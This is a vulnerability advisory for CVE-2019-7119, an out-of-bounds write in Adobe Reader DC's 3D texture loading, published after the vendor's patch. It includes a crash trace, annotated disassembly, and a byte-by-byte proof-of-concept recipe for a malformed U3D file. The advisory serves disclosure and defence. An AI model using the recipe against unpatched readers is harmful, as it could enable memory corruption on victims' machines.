CVE: CVE-2019-7119

Tested Versions:

  • Adobe Reader DC 2019.010.20064

Product URL(s):

Description of the vulnerability

Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF). It provides compatibility to the ECMA-363 Standard (Universal 3D File Format) via 3difr.x3d, 2d.x3d and rt3d.dll, which allow viewing embedded 3D contents in PDF files. The ECMA-363 standard allows external texture images to be encoded with the Texture Resource Declaration Block, with options to load either JPEG/PNG images embedded in the PDF file, or other image types from the local file system. These external image formats include TGA, TIFF, PIC, GIF, BMP, PCX, PPM, IFF, FLI/FLC, RGB, PSD, RLE and CEL. The 2d.x3d module is activated when the users choose to enable 3D content display.

Vulnerabilities in this module do not affect a default installation, however, in certain industry sectors that have frequent exchange of 3D PDF files (e.g., CAD designs), 3D contents may be enabled as default, leaving users vulnerable to this attack vector.

An arbitrary write can be observed in the context of the sandboxed process as the logged on user.

# The debugging and analysis were done on an Adobe Reader DC 2019.010.20064.
# The stack trace at crash site:

(f78.400): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000035 ebx=0016b038 ecx=000000e9 edx=3a1b7e28 esi=000001d4 edi=3a1bf000
eip=66727882 esp=0016b000 ebp=0016b028 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010297

2d!png_set_filter_heuristics+0x4424:
66727882 8807            mov     byte ptr [edi],al          ds:0023:3a1bf000=??

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0016b028 66727a4a 3640af90 38b1afb0 38353e68 2d!png_set_filter_heuristics+0x4424
0016b248 66722a32 3a1fefa8 38353e68 38b1afb0 2d!png_set_filter_heuristics+0x45ec
0016b25c 672c779f 00000006 3a1fefa8 38353e68 2d!E3DLLFunc+0xb74
0016b27c 6728ae03 3640af90 00000006 3a1fefa8 rt3d!FILETYPE::Func2d+0x5e
0016b704 67289399 3a1245a8 0016bbbc 00000000 rt3d!PrepareRescale+0xac8
0016b73c 672bc7fd 3a1245a8 0016bbbc 00000000 rt3d!GetPicture+0x2e
0016b978 672bd50a 3a1245a8 0016bbbc 00000000 rt3d!EndPicturesCache+0x5352
0016bde8 672bca3f 3a1244e8 3a1245a8 0016c430 rt3d!EndPicturesCache+0x605f
0016c63c 672bccfa 3a1244e8 00000000 38b1afb0 rt3d!EndPicturesCache+0x5594
0016c89c 6726fda1 34098cb0 38b1afb0 00000000 rt3d!EndPicturesCache+0x584f
0016c8bc 671f77ea 00000002 38b1afb0 d5240f34 rt3d!e3_SCENE::MovePDVToCameraNode+0xfcd
0016cd3c 671c3ebd 00000000 38572fc8 00000000 rt3d!V4CUnloadRT+0x30b97
0016cd54 6896c267 38572fc8 00000000 0016cda8 rt3d+0x3ebd

Brief analysis of the out-of-bounds write in TRGB::Read():

.text:10007857     call    _ZN4TRGB7GetLineEi ; TRGB::GetLine(int)
.text:1000785C     push    [ebp+var_C]
.text:1000785F     mov     ecx, ebx
.text:10007861     mov     edi, eax
.text:10007863     call    _ZN4TRGB4AddCEi ; TRGB::AddC(int)
.text:10007868     xor     ecx, ecx
.text:1000786A     add     edi, eax
.text:1000786C     cmp     [ebp+var_1C], ecx
.text:1000786F     jle     short loc_1000788F
.text:10007871     mov     edx, [ebp+var_10]
.text:10007874     mov     esi, [ebp+var_1C]
.text:10007877
.text:10007877 loc_10007877:            ; CODE XREF: TRGB::Read(void)+2A1?j
.text:10007877     movzx   eax, word ptr [ebx+12h]
.text:1000787B     cmp     ecx, eax
.text:1000787D     jge     short loc_1000788C
.text:1000787F     mov     al, [edx+ecx*2]
.text:10007882     mov     [edi], al       ; OOB Write
.text:10007884     add     edi, [ebx+8]
.text:10007887     inc     ecx
.text:10007888     cmp     ecx, esi
.text:1000788A     jl      short loc_10007877

The call stack is resolved as:

#0 Crash EIP = !2d.x3d + 0x7882
#1 TRGB::Read(void)
#2 _LoadRGB(e3_STREAM *, e3_PICTURE *, e3_CONTEXT *)
#3 RGBImport(unsigned int, e3_STREAM *, e3_PICTURE *, e3_interface *)
#4 ...

Proof of Concept

To load external image with shading_M.u3d:

000002f0: 28 7c 3f 00 00 00 00 00 14 ff ff ff 3c 00 00 00  (|?.........<...
00000300: 00 00 00 00 05 00 6c 69 6e 65 73 02 00 00 00 00  ......lines.....
00000310: 00 00 00 00 01 00 00 00 55 ff ff ff 1c 00 00 00  ........U.......
00000320: 00 00 00 00 05 00 6c 69 6e 65 73 00 01 00 00 00  ......lines.....
00000330: 01 00 00 0e 01 00 00 00 01 0e 00 00 52 dc 00 00  ............R...

The following modifications are made to the above block:

# Modify the containing Modifier Chain Block (0xFFFFFF14) length:
; shading_M.u3d: change data size field to 0x54 from 0x3C

# Texture Resource Declaration Block (0xFFFFFF55):
; shading_M.u3d: change data size field to 0x34 from 0x1A

# 2d.x3d Image Loading construction from shading_M.u3d
; 05 00 6c 69 6e 65 73       // Texture Name String: "lines"
; 00 01 00 00                // U32: Texture Height
; 00 01 00 00                // U32: Texture Width
; 0e                         // U8: Texture Image Type: 0x0E color RGB
; 01 00 00 00                // U32: Continuationi Image Count
;                            // Now the Continuation Image Format record
; 01                         //    U8: Compression Type 0x01 JPEG-24
; 0e                         //    U8: Texture Image Channels
; 00 00                      //    U16: Continuation Image Attributes: default
; 52 dc 00 00                //    U32: Image Data Byte Count

# Modify to the following:
; 05 00 6c 69 6e 65 73       // Texture Name String: "lines"
; 00 01 00 00                // U32: Texture Height 
; 00 01 00 00                // U32: Texture Width 
; 0e                         // U8: Texture Image Type: 0x0E color RGB 
; 01 00 00 00                // U32: Continuationi Image Count 
;                            // Now the Continuation Image Format record:
; 02                         //    U8: Compression Type 0x02 PNG
; 0e                         //    U8: Texture Image Channels
; 01 00                      //    U16: Continuation Image Attributes: external
; 01 00 00 00                //    U32: Image URL Count 1
;                            //    0x16 bytes string "httpAAAAAAAsynAA12.gif"
; 16 00 68 74 74 70 41 41 41 41 41 41 41 73 79 6e 41 41 31 32 2e 67 69 63

Timeline:

  • 2019-01-25 Vendor disclosure
  • 2019-04-09 Vendor patched

Vendor Response

The vendor has acknowledged the issue and released an update to address it.

The vendor’s advisory can be found here: APSB19-17.